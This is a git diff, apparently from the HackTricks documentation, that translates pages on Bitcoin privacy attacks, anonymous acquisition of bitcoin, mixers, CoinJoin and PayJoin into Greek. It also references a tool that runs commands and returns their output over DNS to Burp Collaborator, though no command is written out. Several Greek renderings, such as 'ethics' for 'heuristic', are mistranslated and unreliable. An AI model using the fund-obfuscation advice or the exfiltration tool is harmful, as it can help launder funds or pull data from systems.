Bitcoins Ανώνυμα -## Ways to Get Bitcoins Anonymously +- **Συναλλαγές με Μετρητά:** Απόκτηση bitcoin μέσω μετρητών. +- **Εναλλακτικές Μετρητών:** Αγορά δωροκαρτών και ανταλλαγή τους διαδικτυακά για bitcoin. +- **Εξόρυξη:** Ο πιο ιδιωτικός τρόπος για να κερδίσετε bitcoins είναι μέσω εξόρυξης, ειδικά όταν γίνεται μόνος, καθώς οι πισίνες εξόρυξης μπορεί να γνωρίζουν τη διεύθυνση IP του εξορύκτη. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Κλοπή:** Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι μια άλλη μέθοδος για να το αποκτήσετε ανώνυμα, αν και είναι παράνομη και δεν συνιστάται. -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## Υπηρεσίες Μίξης -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Χρησιμοποιώντας μια υπηρεσία μίξης, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins σε αντάλλαγμα**, καθιστώντας δύσκολη την ιχνηλάτηση του αρχικού κατόχου. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατά αρχεία και να επιστρέφει πραγματικά τα bitcoins. Εναλλακτικές επιλογές μίξης περιλαμβάνουν τα καζίνο Bitcoin. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** συγχωνεύει πολλές συναλλαγές από διαφορετικούς χρήστες σε μία, περιπλέκοντας τη διαδικασία για οποιονδήποτε προσπαθεί να αντιστοιχίσει εισροές με εξόδους. Παρά την αποτελεσματικότητά του, οι συναλλαγές με μοναδικά μεγέθη εισροών και εξόδων μπορούν ακόμα να ιχνηλατηθούν. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Παραδείγματα συναλλαγών που μπορεί να χρησιμοποίησαν το CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Για περισσότερες πληροφορίες, επισκεφθείτε το [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, δείτε το [Tornado Cash](https://tornado.cash), το οποίο ανωνυμοποιεί τις συναλλαγές με κεφάλαια από εξορύκτες. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +Μια παραλλαγή του CoinJoin, το **PayJoin** (ή P2EP), καλύπτει τη συναλλαγή μεταξύ δύο μερών (π.χ., ενός πελάτη και ενός εμπόρου) ως κανονική συναλλαγή, χωρίς τα χαρακτηριστικά ίσων εξόδων που είναι χαρακτηριστικά του CoinJoin. Αυτό καθιστά εξαιρετικά δύσκολη την ανίχνευση και θα μπορούσε να ακυρώσει την κοινή ηθική ιδιοκτησίας εισροών που χρησιμοποιείται από τις οντότητες παρακολούθησης συναλλαγών. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Οι συναλλαγές όπως οι παραπάνω θα μπορούσαν να είναι PayJoin, ενισχύοντας την ιδιωτικότητα ενώ παραμένουν αδιάκριτες από τις τυπικές συναλλαγές bitcoin. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**Η αξιοποίηση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους επιτήρησης**, καθιστώντας το μια υποσχόμενη εξέλιξη στην επιδίωξη της συναλλακτικής ιδιωτικότητας. -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# Καλές Πρακτικές για Ιδιωτικότητα στις Κρυπτονομίσματα -# Best Practices for Privacy in Cryptocurrencies +## **Τεχνικές Συγχρονισμού Πορτοφολιών** -## **Wallet Synchronization Techniques** +Για να διατηρηθεί η ιδιωτικότητα και η ασφάλεια, ο συγχρονισμός των πορτοφολιών με την blockchain είναι κρίσιμος. Δύο μέθοδοι ξεχωρίζουν: -To maintain privacy and security, synchronizing wallets with the blockchain is crucial. Two methods stand out: +- **Πλήρης κόμβος**: Κατεβάζοντας ολόκληρη την blockchain, ένας πλήρης κόμβος εξασφαλίζει μέγιστη ιδιωτικότητα. Όλες οι συναλλαγές που έχουν γίνει ποτέ αποθηκεύονται τοπικά, καθιστώντας αδύνατο για τους αντιπάλους να προσδιορίσουν ποιες συναλλαγές ή διευθύνσεις ενδιαφέρει ο χρήστης. +- **Φιλτράρισμα μπλοκ από την πλευρά του πελάτη**: Αυτή η μέθοδος περιλαμβάνει τη δημιουργία φίλτρων για κάθε μπλοκ στην blockchain, επιτρέποντας στα πορτοφόλια να εντοπίζουν σχετικές συναλλαγές χωρίς να εκθέτουν συγκεκριμένα ενδιαφέροντα στους παρατηρητές του δικτύου. Τα ελαφριά πορτοφόλια κατεβάζουν αυτά τα φίλτρα, ανακτώντας πλήρη μπλοκ μόνο όταν βρεθεί αντιστοιχία με τις διευθύνσεις του χρήστη. -- **Full node**: By downloading the entire blockchain, a full node ensures maximum privacy. All transactions ever made are stored locally, making it impossible for adversaries to identify which transactions or addresses the user is interested in. -- **Client-side block filtering**: This method involves creating filters for every block in the blockchain, allowing wallets to identify relevant transactions without exposing specific interests to network observers. Lightweight wallets download these filters, only fetching full blocks when a match with the user's addresses is found. +## **Χρήση του Tor για Ανωνυμία** -## **Utilizing Tor for Anonymity** +Δεδομένου ότι το Bitcoin λειτουργεί σε ένα δίκτυο peer-to-peer, συνιστάται η χρήση του Tor για να καλύψετε τη διεύθυνση IP σας, ενισχύοντας την ιδιωτικότητα κατά την αλληλεπίδραση με το δίκτυο. -Given that Bitcoin operates on a peer-to-peer network, using Tor is recommended to mask your IP address, enhancing privacy when interacting with the network. +## **Πρόληψη Επαναχρησιμοποίησης Διευθύνσεων** -## **Preventing Address Reuse** +Για να προστατευθεί η ιδιωτικότητα, είναι ζωτικής σημασίας να χρησιμοποιείτε μια νέα διεύθυνση για κάθε συναλλαγή. Η επαναχρησιμοποίηση διευθύνσεων μπορεί να διακυβεύσει την ιδιωτικότητα συνδέοντας τις συναλλαγές με την ίδια οντότητα. Τα σύγχρονα πορτοφόλια αποθαρρύνουν την επαναχρησιμοποίηση διευθύνσεων μέσω του σχεδιασμού τους. -To safeguard privacy, it's vital to use a new address for every transaction. Reusing addresses can compromise privacy by linking transactions to the same entity. Modern wallets discourage address reuse through their design. +## **Στρατηγικές για Ιδιωτικότητα Συναλλαγών** -## **Strategies for Transaction Privacy** +- **Πολλές συναλλαγές**: Η διαίρεση μιας πληρωμής σε πολλές συναλλαγές μπορεί να θολώσει το ποσό της συναλλαγής, αποτρέποντας επιθέσεις κατά της ιδιωτικότητας. +- **Αποφυγή αλλαγής**: Η επιλογή συναλλαγών που δεν απαιτούν εξόδους αλλαγής ενισχύει την ιδιωτικότητα διαταράσσοντας τις μεθόδους ανίχνευσης αλλαγής. +- **Πολλές εξόδους αλλαγής**: Εάν η αποφυγή αλλαγής δεν είναι εφικτή, η δημιουργία πολλών εξόδων αλλαγής μπορεί να βελτιώσει την ιδιωτικότητα. -- **Multiple transactions**: Splitting a payment into several transactions can obscure the transaction amount, thwarting privacy attacks. -- **Change avoidance**: Opting for transactions that don't require change outputs enhances privacy by disrupting change detection methods. -- **Multiple change outputs**: If avoiding change isn't feasible, generating multiple change outputs can still improve privacy. +# **Monero: Ένας Φάρος Ανωνυμίας** -# **Monero: A Beacon of Anonymity** +Το Monero καλύπτει την ανάγκη για απόλυτη ανωνυμία στις ψηφιακές συναλλαγές, θέτοντας ένα υψηλό πρότυπο για την ιδιωτικότητα. -Monero addresses the need for absolute anonymity in digital transactions, setting a high standard for privacy. +# **Ethereum: Gas και Συναλλαγές** -# **Ethereum: Gas and Transactions** +## **Κατανόηση του Gas** -## **Understanding Gas** +Το gas μετρά την υπολογιστική προσπάθεια που απαιτείται για την εκτέλεση λειτουργιών στο Ethereum, τιμολογούμενο σε **gwei**. Για παράδειγμα, μια συναλλαγή που κοστίζει 2,310,000 gwei (ή 0.00231 ETH) περιλαμβάνει ένα όριο gas και μια βασική χρέωση, με ένα φιλοδώρημα για να ενθαρρύνει τους miners. Οι χρήστες μπορούν να ορίσουν μια μέγιστη χρέωση για να διασφαλίσουν ότι δεν θα πληρώσουν υπερβολικά, με την υπερβολή να επιστρέφεται. -Gas measures the computational effort needed to execute operations on Ethereum, priced in **gwei**. For example, a transaction costing 2,310,000 gwei (or 0.00231 ETH) involves a gas limit and a base fee, with a tip to incentivize miners. Users can set a max fee to ensure they don't overpay, with the excess refunded. +## **Εκτέλεση Συναλλαγών** -## **Executing Transactions** +Οι συναλλαγές στο Ethereum περιλαμβάνουν έναν αποστολέα και έναν παραλήπτη, οι οποίοι μπορεί να είναι είτε διευθύνσεις χρηστών είτε έξυπνων συμβολαίων. Απαιτούν μια χρέωση και πρέπει να εξορυχθούν. Οι βασικές πληροφορίες σε μια συναλλαγή περιλαμβάνουν τον παραλήπτη, την υπογραφή του αποστολέα, την αξία, προαιρετικά δεδομένα, το όριο gas και τις χρεώσεις. Σημαντικά, η διεύθυνση του αποστολέα deduced από την υπογραφή, εξαλείφοντας την ανάγκη για αυτήν στα δεδομένα της συναλλαγής. -Transactions in Ethereum involve a sender and a recipient, which can be either user or smart contract addresses. They require a fee and must be mined. Essential information in a transaction includes the recipient, sender's signature, value, optional data, gas limit, and fees. Notably, the sender's address is deduced from the signature, eliminating the need for it in the transaction data. +Αυτές οι πρακτικές και μηχανισμοί είναι θεμελιώδεις για οποιονδήποτε επιθυμεί να ασχοληθεί με τα κρυπτονομίσματα ενώ δίνει προτεραιότητα στην ιδιωτικότητα και την ασφάλεια. -These practices and mechanisms are foundational for anyone looking to engage with cryptocurrencies while prioritizing privacy and security. - -## References +## Αναφορές - [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake) - [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/) diff --git a/src/burp-suite.md b/src/burp-suite.md index 33fee646b..9626a3cc2 100644 --- a/src/burp-suite.md +++ b/src/burp-suite.md @@ -4,11 +4,11 @@ - **Απλή Λίστα:** Απλώς μια λίστα που περιέχει μια καταχώρηση σε κάθε γραμμή - **Αρχείο Εκτέλεσης:** Μια λίστα που διαβάζεται κατά την εκτέλεση (δεν φορτώνεται στη μνήμη). Για υποστήριξη μεγάλων λιστών. -- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε μικρά, σε ΜΕΓΑΛΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε μικρά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-). -- **Αριθμοί:** Δημιουργήστε αριθμούς από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία. +- **Τροποποίηση Περίπτωσης:** Εφαρμόστε κάποιες αλλαγές σε μια λίστα από συμβολοσειρές (Καμία αλλαγή, σε πεζά, σε ΚΕΦΑΛΑΙΑ, σε Κανονικό όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα σε πεζά-, σε Κανονικό Όνομα - Πρώτο κεφαλαίο και τα υπόλοιπα παραμένουν τα ίδια-). +- **Αριθμοί:** Δημιουργία αριθμών από X έως Y χρησιμοποιώντας βήμα Z ή τυχαία. - **Brute Forcer:** Σύνολο χαρακτήρων, ελάχιστο & μέγιστο μήκος. -[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για την εκτέλεση εντολών και την απόκτηση της εξόδου μέσω DNS αιτημάτων προς το burpcollab. +[https://github.com/0xC01DF00D/Collabfiltrator](https://github.com/0xC01DF00D/Collabfiltrator) : Φορτωτής για εκτέλεση εντολών και λήψη εξόδου μέσω DNS αιτημάτων στο burpcollab. {% embed url="https://medium.com/@ArtsSEC/burp-suite-exporter-462531be24e" %} diff --git a/src/crypto-and-stego/blockchain-and-crypto-currencies.md b/src/crypto-and-stego/blockchain-and-crypto-currencies.md index 71b79f58f..1296d3de7 100644 --- a/src/crypto-and-stego/blockchain-and-crypto-currencies.md +++ b/src/crypto-and-stego/blockchain-and-crypto-currencies.md @@ -1,180 +1,176 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Concepts +## Βασικές Έννοιες -- **Smart Contracts** are defined as programs that execute on a blockchain when certain conditions are met, automating agreement executions without intermediaries. -- **Decentralized Applications (dApps)** build upon smart contracts, featuring a user-friendly front-end and a transparent, auditable back-end. -- **Tokens & Coins** differentiate where coins serve as digital money, while tokens represent value or ownership in specific contexts. - - **Utility Tokens** grant access to services, and **Security Tokens** signify asset ownership. -- **DeFi** stands for Decentralized Finance, offering financial services without central authorities. -- **DEX** and **DAOs** refer to Decentralized Exchange Platforms and Decentralized Autonomous Organizations, respectively. +- **Smart Contracts** ορίζονται ως προγράμματα που εκτελούνται σε μια blockchain όταν πληρούνται ορισμένες προϋποθέσεις, αυτοματοποιώντας τις εκτελέσεις συμφωνιών χωρίς μεσάζοντες. +- **Decentralized Applications (dApps)** βασίζονται σε smart contracts, διαθέτοντας ένα φιλικό προς τον χρήστη front-end και ένα διαφανές, ελέγξιμο back-end. +- **Tokens & Coins** διαφοροποιούνται όπου τα coins λειτουργούν ως ψηφιακό χρήμα, ενώ τα tokens αντιπροσωπεύουν αξία ή ιδιοκτησία σε συγκεκριμένα συμφραζόμενα. +- **Utility Tokens** παρέχουν πρόσβαση σε υπηρεσίες, και **Security Tokens** υποδηλώνουν την ιδιοκτησία περιουσιακών στοιχείων. +- **DeFi** σημαίνει Decentralized Finance, προσφέροντας χρηματοοικονομικές υπηρεσίες χωρίς κεντρικές αρχές. +- **DEX** και **DAOs** αναφέρονται σε Decentralized Exchange Platforms και Decentralized Autonomous Organizations, αντίστοιχα. -## Consensus Mechanisms +## Μηχανισμοί Συμφωνίας -Consensus mechanisms ensure secure and agreed transaction validations on the blockchain: +Οι μηχανισμοί συμφωνίας διασφαλίζουν ασφαλείς και συμφωνημένες επικυρώσεις συναλλαγών στην blockchain: -- **Proof of Work (PoW)** relies on computational power for transaction verification. -- **Proof of Stake (PoS)** demands validators to hold a certain amount of tokens, reducing energy consumption compared to PoW. +- **Proof of Work (PoW)** βασίζεται στη υπολογιστική ισχύ για την επαλήθευση συναλλαγών. +- **Proof of Stake (PoS)** απαιτεί από τους επικυρωτές να κατέχουν μια συγκεκριμένη ποσότητα tokens, μειώνοντας την κατανάλωση ενέργειας σε σύγκριση με το PoW. -## Bitcoin Essentials +## Βασικά Στοιχεία του Bitcoin -### Transactions +### Συναλλαγές -Bitcoin transactions involve transferring funds between addresses. Transactions are validated through digital signatures, ensuring only the owner of the private key can initiate transfers. +Οι συναλλαγές Bitcoin περιλαμβάνουν τη μεταφορά χρημάτων μεταξύ διευθύνσεων. Οι συναλλαγές επικυρώνονται μέσω ψηφιακών υπογραφών, διασφαλίζοντας ότι μόνο ο κάτοχος του ιδιωτικού κλειδιού μπορεί να ξεκινήσει μεταφορές. -#### Key Components: +#### Κύρια Στοιχεία: -- **Multisignature Transactions** require multiple signatures to authorize a transaction. -- Transactions consist of **inputs** (source of funds), **outputs** (destination), **fees** (paid to miners), and **scripts** (transaction rules). +- **Multisignature Transactions** απαιτούν πολλαπλές υπογραφές για την εξουσιοδότηση μιας συναλλαγής. +- Οι συναλλαγές αποτελούνται από **inputs** (πηγή χρημάτων), **outputs** (προορισμός), **fees** (που πληρώνονται στους miners), και **scripts** (κανόνες συναλλαγής). ### Lightning Network -Aims to enhance Bitcoin's scalability by allowing multiple transactions within a channel, only broadcasting the final state to the blockchain. +Στοχεύει στη βελτίωση της κλιμάκωσης του Bitcoin επιτρέποντας πολλές συναλλαγές εντός ενός καναλιού, μεταδίδοντας μόνο την τελική κατάσταση στην blockchain. -## Bitcoin Privacy Concerns +## Ανησυχίες για την Ιδιωτικότητα του Bitcoin -Privacy attacks, such as **Common Input Ownership** and **UTXO Change Address Detection**, exploit transaction patterns. Strategies like **Mixers** and **CoinJoin** improve anonymity by obscuring transaction links between users. +Επιθέσεις ιδιωτικότητας, όπως **Common Input Ownership** και **UTXO Change Address Detection**, εκμεταλλεύονται τα μοτίβα συναλλαγών. Στρατηγικές όπως **Mixers** και **CoinJoin** βελτιώνουν την ανωνυμία θολώνοντας τους συνδέσμους συναλλαγών μεταξύ χρηστών. -## Acquiring Bitcoins Anonymously +## Απόκτηση Bitcoins Ανώνυμα -Methods include cash trades, mining, and using mixers. **CoinJoin** mixes multiple transactions to complicate traceability, while **PayJoin** disguises CoinJoins as regular transactions for heightened privacy. +Μέθοδοι περιλαμβάνουν εμπορικές συναλλαγές με μετρητά, εξόρυξη και χρήση mixers. **CoinJoin** αναμειγνύει πολλές συναλλαγές για να περιπλέξει την ανιχνευσιμότητα, ενώ το **PayJoin** μεταμφιέζει τα CoinJoins ως κανονικές συναλλαγές για αυξημένη ιδιωτικότητα. -# Bitcoin Privacy Atacks +# Επιθέσεις Ιδιωτικότητας Bitcoin -# Summary of Bitcoin Privacy Attacks +# Περίληψη Επιθέσεων Ιδιωτικότητας Bitcoin -In the world of Bitcoin, the privacy of transactions and the anonymity of users are often subjects of concern. Here's a simplified overview of several common methods through which attackers can compromise Bitcoin privacy. +Στον κόσμο του Bitcoin, η ιδιωτικότητα των συναλλαγών και η ανωνυμία των χρηστών είναι συχνά αντικείμενα ανησυχίας. Ακολουθεί μια απλοποιημένη επισκόπηση αρκετών κοινών μεθόδων μέσω των οποίων οι επιτιθέμενοι μπορούν να παραβιάσουν την ιδιωτικότητα του Bitcoin. -## **Common Input Ownership Assumption** +## **Υπόθεση Κοινής Ιδιοκτησίας Εισροών** -It is generally rare for inputs from different users to be combined in a single transaction due to the complexity involved. Thus, **two input addresses in the same transaction are often assumed to belong to the same owner**. +Είναι γενικά σπάνιο οι εισροές από διαφορετικούς χρήστες να συνδυάζονται σε μια μόνο συναλλαγή λόγω της πολυπλοκότητας που εμπλέκεται. Έτσι, **δύο διευθύνσεις εισροών στην ίδια συναλλαγή συχνά υποτίθεται ότι ανήκουν στον ίδιο ιδιοκτήτη**. -## **UTXO Change Address Detection** +## **Ανίχνευση Διεύθυνσης Αλλαγής UTXO** -A UTXO, or **Unspent Transaction Output**, must be entirely spent in a transaction. If only a part of it is sent to another address, the remainder goes to a new change address. Observers can assume this new address belongs to the sender, compromising privacy. +Ένα UTXO, ή **Unspent Transaction Output**, πρέπει να δαπανηθεί πλήρως σε μια συναλλαγή. Εάν μόνο ένα μέρος του σταλεί σε άλλη διεύθυνση, το υπόλοιπο πηγαίνει σε μια νέα διεύθυνση αλλαγής. Οι παρατηρητές μπορούν να υποθέσουν ότι αυτή η νέα διεύθυνση ανήκει στον αποστολέα, παραβιάζοντας την ιδιωτικότητα. -### Example +### Παράδειγμα -To mitigate this, mixing services or using multiple addresses can help obscure ownership. +Για να μετριαστεί αυτό, οι υπηρεσίες ανάμειξης ή η χρήση πολλαπλών διευθύνσεων μπορούν να βοηθήσουν στην θόλωση της ιδιοκτησίας. -## **Social Networks & Forums Exposure** +## **Έκθεση σε Κοινωνικά Δίκτυα & Φόρουμ** -Users sometimes share their Bitcoin addresses online, making it **easy to link the address to its owner**. +Οι χρήστες μερικές φορές μοιράζονται τις διευθύνσεις Bitcoin τους online, καθιστώντας **εύκολο να συνδεθεί η διεύθυνση με τον ιδιοκτήτη της**. -## **Transaction Graph Analysis** +## **Ανάλυση Γραφήματος Συναλλαγών** -Transactions can be visualized as graphs, revealing potential connections between users based on the flow of funds. +Οι συναλλαγές μπορούν να οπτικοποιηθούν ως γραφήματα, αποκαλύπτοντας πιθανές συνδέσεις μεταξύ χρηστών με βάση τη ροή χρημάτων. -## **Unnecessary Input Heuristic (Optimal Change Heuristic)** +## **Υποθετική Εισροή Χωρίς Ανάγκη (Βέλτιστη Υποθετική Αλλαγή)** -This heuristic is based on analyzing transactions with multiple inputs and outputs to guess which output is the change returning to the sender. - -### Example +Αυτή η υποθετική βασίζεται στην ανάλυση συναλλαγών με πολλαπλές εισροές και εκροές για να μαντέψει ποια εκροή είναι η αλλαγή που επιστρέφει στον αποστολέα. +### Παράδειγμα ```bash 2 btc --> 4 btc 3 btc 1 btc ``` +Αν η προσθήκη περισσότερων εισροών καθιστά την έξοδο αλλαγής μεγαλύτερη από οποιαδήποτε μεμονωμένη εισροή, μπορεί να μπερδέψει την ηθική. -If adding more inputs makes the change output larger than any single input, it can confuse the heuristic. +## **Υποχρεωτική Επαναχρησιμοποίηση Διευθύνσεων** -## **Forced Address Reuse** +Οι επιτιθέμενοι μπορεί να στείλουν μικρά ποσά σε προηγουμένως χρησιμοποιημένες διευθύνσεις, ελπίζοντας ότι ο παραλήπτης θα τα συνδυάσει με άλλες εισροές σε μελλοντικές συναλλαγές, συνδέοντας έτσι τις διευθύνσεις μεταξύ τους. -Attackers may send small amounts to previously used addresses, hoping the recipient combines these with other inputs in future transactions, thereby linking addresses together. +### Σωστή Συμπεριφορά Πορτοφολιού -### Correct Wallet Behavior +Τα πορτοφόλια θα πρέπει να αποφεύγουν τη χρήση νομισμάτων που έχουν ληφθεί σε ήδη χρησιμοποιημένες, κενές διευθύνσεις για να αποτρέψουν αυτή τη διαρροή ιδιωτικότητας. -Wallets should avoid using coins received on already used, empty addresses to prevent this privacy leak. +## **Άλλες Τεχνικές Ανάλυσης Blockchain** -## **Other Blockchain Analysis Techniques** +- **Ακριβή Ποσά Πληρωμής:** Συναλλαγές χωρίς αλλαγή είναι πιθανό να είναι μεταξύ δύο διευθύνσεων που ανήκουν στον ίδιο χρήστη. +- **Στρογγυλοί Αριθμοί:** Ένας στρογγυλός αριθμός σε μια συναλλαγή υποδηλώνει ότι είναι πληρωμή, με την μη στρογγυλή έξοδο να είναι πιθανώς η αλλαγή. +- **Δακτυλοσκοπία Πορτοφολιού:** Διάφορα πορτοφόλια έχουν μοναδικά πρότυπα δημιουργίας συναλλαγών, επιτρέποντας στους αναλυτές να προσδιορίσουν το λογισμικό που χρησιμοποιείται και πιθανώς τη διεύθυνση αλλαγής. +- **Συσχετίσεις Ποσού & Χρόνου:** Η αποκάλυψη χρόνων ή ποσών συναλλαγών μπορεί να καθιστά τις συναλλαγές ανιχνεύσιμες. -- **Exact Payment Amounts:** Transactions without change are likely between two addresses owned by the same user. -- **Round Numbers:** A round number in a transaction suggests it's a payment, with the non-round output likely being the change. -- **Wallet Fingerprinting:** Different wallets have unique transaction creation patterns, allowing analysts to identify the software used and potentially the change address. -- **Amount & Timing Correlations:** Disclosing transaction times or amounts can make transactions traceable. +## **Ανάλυση Κίνησης** -## **Traffic Analysis** +Παρακολουθώντας την κίνηση του δικτύου, οι επιτιθέμενοι μπορούν ενδεχομένως να συνδέσουν συναλλαγές ή μπλοκ με διευθύνσεις IP, θέτοντας σε κίνδυνο την ιδιωτικότητα των χρηστών. Αυτό ισχύει ιδιαίτερα αν μια οντότητα λειτουργεί πολλές κόμβους Bitcoin, ενισχύοντας την ικανότητά τους να παρακολουθούν τις συναλλαγές. -By monitoring network traffic, attackers can potentially link transactions or blocks to IP addresses, compromising user privacy. This is especially true if an entity operates many Bitcoin nodes, enhancing their ability to monitor transactions. +## Περισσότερα -## More +Για μια ολοκληρωμένη λίστα επιθέσεων και αμυνών ιδιωτικότητας, επισκεφθείτε το [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). -For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy). +# Ανώνυμες Συναλλαγές Bitcoin -# Anonymous Bitcoin Transactions +## Τρόποι Απόκτησης Bitcoins Ανώνυμα -## Ways to Get Bitcoins Anonymously +- **Συναλλαγές με Μετρητά**: Απόκτηση bitcoin μέσω μετρητών. +- **Εναλλακτικές Μετρητών**: Αγορά δωροκαρτών και ανταλλαγή τους διαδικτυακά για bitcoin. +- **Εξόρυξη**: Ο πιο ιδιωτικός τρόπος για να κερδίσετε bitcoins είναι μέσω εξόρυξης, ειδικά όταν γίνεται μόνος, καθώς οι πισίνες εξόρυξης μπορεί να γνωρίζουν τη διεύθυνση IP του εξορύκτη. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) +- **Κλοπή**: Θεωρητικά, η κλοπή bitcoin θα μπορούσε να είναι μια άλλη μέθοδος για να το αποκτήσετε ανώνυμα, αν και είναι παράνομη και δεν συνιστάται. -- **Cash Transactions**: Acquiring bitcoin through cash. -- **Cash Alternatives**: Purchasing gift cards and exchanging them online for bitcoin. -- **Mining**: The most private method to earn bitcoins is through mining, especially when done alone because mining pools may know the miner's IP address. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining) -- **Theft**: Theoretically, stealing bitcoin could be another method to acquire it anonymously, although it's illegal and not recommended. +## Υπηρεσίες Μίξης -## Mixing Services - -By using a mixing service, a user can **send bitcoins** and receive **different bitcoins in return**, which makes tracing the original owner difficult. Yet, this requires trust in the service not to keep logs and to actually return the bitcoins. Alternative mixing options include Bitcoin casinos. +Χρησιμοποιώντας μια υπηρεσία μίξης, ένας χρήστης μπορεί να **στείλει bitcoins** και να λάβει **διαφορετικά bitcoins σε αντάλλαγμα**, καθιστώντας δύσκολη την ανίχνευση του αρχικού κατόχου. Ωστόσο, αυτό απαιτεί εμπιστοσύνη στην υπηρεσία να μην κρατά αρχεία και να επιστρέφει πραγματικά τα bitcoins. Εναλλακτικές επιλογές μίξης περιλαμβάνουν τα καζίνο Bitcoin. ## CoinJoin -**CoinJoin** merges multiple transactions from different users into one, complicating the process for anyone trying to match inputs with outputs. Despite its effectiveness, transactions with unique input and output sizes can still potentially be traced. +**CoinJoin** συγχωνεύει πολλές συναλλαγές από διαφορετικούς χρήστες σε μία, περιπλέκοντας τη διαδικασία για οποιονδήποτε προσπαθεί να αντιστοιχίσει εισροές με εξόδους. Παρά την αποτελεσματικότητά του, οι συναλλαγές με μοναδικά μεγέθη εισροών και εξόδων μπορούν ακόμα να ανιχνευθούν. -Example transactions that may have used CoinJoin include `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` and `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. +Παραδείγματα συναλλαγών που μπορεί να χρησιμοποίησαν το CoinJoin περιλαμβάνουν `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` και `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238`. -For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners. +Για περισσότερες πληροφορίες, επισκεφθείτε το [CoinJoin](https://coinjoin.io/en). Για μια παρόμοια υπηρεσία στο Ethereum, δείτε το [Tornado Cash](https://tornado.cash), το οποίο ανωνυμοποιεί τις συναλλαγές με κεφάλαια από εξορύκτες. ## PayJoin -A variant of CoinJoin, **PayJoin** (or P2EP), disguises the transaction among two parties (e.g., a customer and a merchant) as a regular transaction, without the distinctive equal outputs characteristic of CoinJoin. This makes it extremely hard to detect and could invalidate the common-input-ownership heuristic used by transaction surveillance entities. - +Μια παραλλαγή του CoinJoin, **PayJoin** (ή P2EP), κρύβει τη συναλλαγή μεταξύ δύο μερών (π.χ., ενός πελάτη και ενός εμπόρου) ως κανονική συναλλαγή, χωρίς τα χαρακτηριστικά ίσων εξόδων που είναι χαρακτηριστικά του CoinJoin. Αυτό καθιστά εξαιρετικά δύσκολη την ανίχνευση και θα μπορούσε να ακυρώσει την κοινή ηθική ιδιοκτησίας εισροών που χρησιμοποιείται από τις οντότητες παρακολούθησης συναλλαγών. ```plaintext 2 btc --> 3 btc 5 btc 4 btc ``` +Οι συναλλαγές όπως η παραπάνω θα μπορούσαν να είναι PayJoin, ενισχύοντας την ιδιωτικότητα ενώ παραμένουν αδιάκριτες από τις τυπικές συναλλαγές bitcoin. -Transactions like the above could be PayJoin, enhancing privacy while remaining indistinguishable from standard bitcoin transactions. +**Η αξιοποίηση του PayJoin θα μπορούσε να διαταράξει σημαντικά τις παραδοσιακές μεθόδους επιτήρησης**, καθιστώντας το μια υποσχόμενη εξέλιξη στην επιδίωξη της συναλλακτικής ιδιωτικότητας. -**The utilization of PayJoin could significantly disrupt traditional surveillance methods**, making it a promising development in the pursuit of transactional privacy. +# Καλές Πρακτικές για Ιδιωτικότητα στις Κρυπτονομίσματα -# Best Practices for Privacy in Cryptocurrencies +## 